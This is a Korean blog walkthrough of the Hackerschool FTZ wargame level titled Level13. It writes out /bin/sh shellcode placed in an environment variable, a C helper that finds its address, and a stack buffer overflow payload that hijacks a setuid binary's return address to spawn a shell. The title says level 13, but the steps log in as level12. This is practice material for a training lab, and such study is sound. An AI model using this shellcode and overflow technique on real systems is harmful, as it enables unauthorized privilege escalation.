해커스쿨 ftz Level13
MacOS에서 푸는 해커스쿨 ftz
해커스쿨 ftz level13 단계이다.
먼저 ftz서버를 실행한다.
서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.
Mac의 터미널을 열어 서버에 접속합니다.
명령어는
ssh -c aes128-cbc level13@서버ip
라고 입력합니다.
Id: level12, pw: it is like this 로 로그인을 한 후 파일을 살펴보았다.
Hint의 내용을 살펴보았다.
gets 함수를 통해 입력을 받는데 ret 값에 쉘코드의 주소를 입력시키면 될 것 같다.
우선 쉘코드를 작성하였다. tmp 디렉토리에서
$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
를 차례로 입력하여 0xbffffe45의 쉘코드의 주소를 얻을 수 있었다.
얻은 주소를 바탕으로 attackme가 있는 디렉토리로 돌아와서
(python -c 'print"\x90"*268+"\x45\xfe\xff\xbf"'; cat) | ./attackme 명령어를 입력하였다.
그 후 계속해서 입력을 할 수 있었는데 my-pass 명령어를 입력하니 level13의 패스워드가 나왔다.
끝.
'Security&Hacking > 시스템 해킹' 카테고리의 다른 글
해커스쿨 ftz level14 (macOS) (0) | 2020.01.19 |
---|---|
해커스쿨 ftz level13 (macOS) (0) | 2020.01.19 |
해커스쿨 ftz level11 (macOS) (0) | 2020.01.19 |
해커스쿨 ftz level10 (macOS) (0) | 2020.01.19 |
해커스쿨 ftz level9 (macOS) (0) | 2020.01.19 |